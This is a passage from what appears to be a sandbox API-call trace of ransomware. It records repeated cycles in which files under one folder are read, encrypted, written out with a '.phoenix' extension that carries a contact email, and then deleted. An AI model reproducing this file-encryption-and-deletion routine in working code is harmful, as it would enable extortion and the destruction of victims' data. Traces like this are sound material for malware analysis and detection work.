	[0064.510] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0064.510] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.510] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0064.510] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.510] WriteFile (in: hFile=0x328, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0064.510] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0064.510] CloseHandle (hObject=0x310) returned 1
	[0064.510] CloseHandle (hObject=0x328) returned 1
	[0064.520] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1
	[0064.569] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.569] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.570] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=80060) returned 1
	[0064.570] CloseHandle (hObject=0x304) returned 1
	[0064.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0064.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.570] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.570] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.570] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.570] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.571] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa948) returned 1
	[0064.571] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.571] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x138bc, lpOverlapped=0x0) returned 1
	[0064.586] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x138c0, dwBufLen=0x138c0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x138c0) returned 1
	[0064.587] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x138c0, lpOverlapped=0x0) returned 1
	[0064.589] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa488) returned 1
	[0064.589] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.590] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0064.591] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0064.591] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0064.592] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0064.592] CloseHandle (hObject=0x304) returned 1
	[0064.592] CloseHandle (hObject=0x33c) returned 1
	[0064.600] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1
	[0064.602] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.602] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.603] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=10125) returned 1
	[0064.603] CloseHandle (hObject=0x33c) returned 1
	[0064.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0064.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.603] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.603] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.603] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.603] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.604] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa908) returned 1
	[0064.604] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.604] ReadFile (in: hFile=0x33c, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x278d, lpOverlapped=0x0) returned 1
	[0064.755] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x2790, dwBufLen=0x2790 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x2790) returned 1
	[0064.755] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x2790, lpOverlapped=0x0) returned 1
	[0064.756] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa688) returned 1
	[0064.756] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.756] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0064.756] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0064.756] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0064.757] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0064.757] CloseHandle (hObject=0x33c) returned 1
	[0064.757] CloseHandle (hObject=0x304) returned 1
	[0064.761] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1
	[0064.762] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.762] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.762] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=12687) returned 1
	[0064.763] CloseHandle (hObject=0x304) returned 1
	[0064.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0064.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.763] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.763] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.763] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.763] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.764] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa848) returned 1
	[0064.764] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.764] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x318f, lpOverlapped=0x0) returned 1
	[0064.812] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3190, dwBufLen=0x3190 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3190) returned 1
	[0064.812] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x3190, lpOverlapped=0x0) returned 1
	[0064.813] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa288) returned 1
	[0064.813] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.813] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0064.813] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0064.813] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0064.813] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0064.813] CloseHandle (hObject=0x304) returned 1
	[0064.813] CloseHandle (hObject=0x33c) returned 1
	[0064.814] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1
	[0064.816] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0064.816] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0064.816] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=79634) returned 1
	[0064.816] CloseHandle (hObject=0x33c) returned 1
	[0064.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0064.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.818] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.818] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.818] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0064.818] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.820] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa948) returned 1
	[0064.820] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0064.820] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x13712, lpOverlapped=0x0) returned 1
	[0065.852] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13720, dwBufLen=0x13720 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13720) returned 1
	[0065.852] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x13720, lpOverlapped=0x0) returned 1
	[0065.854] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa688) returned 1
	[0065.854] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.854] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0065.854] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0065.854] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0065.854] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0065.854] CloseHandle (hObject=0x304) returned 1
	[0065.855] CloseHandle (hObject=0x314) returned 1
	[0065.859] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1
	[0065.861] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0065.861] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.861] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3046) returned 1
	[0065.862] CloseHandle (hObject=0x314) returned 1
	[0065.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0065.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.862] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.862] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.862] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.862] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0065.862] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa5c8) returned 1
	[0065.862] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.862] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xbe6, lpOverlapped=0x0) returned 1
	[0065.875] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xbf0, dwBufLen=0xbf0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xbf0) returned 1
	[0065.875] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xbf0, lpOverlapped=0x0) returned 1
	[0065.876] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa688) returned 1
	[0065.876] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.876] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0065.876] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0065.876] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0065.876] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0065.876] CloseHandle (hObject=0x314) returned 1
	[0065.876] CloseHandle (hObject=0x304) returned 1
	[0065.877] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1
	[0065.878] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0065.878] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0065.879] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=4040) returned 1
	[0065.879] CloseHandle (hObject=0x304) returned 1
	[0065.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0065.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0065.879] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0065.879] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.879] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0065.879] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.879] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa2c8) returned 1
	[0065.880] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0065.880] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xfc8, lpOverlapped=0x0) returned 1
	[0065.919] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xfd0) returned 1
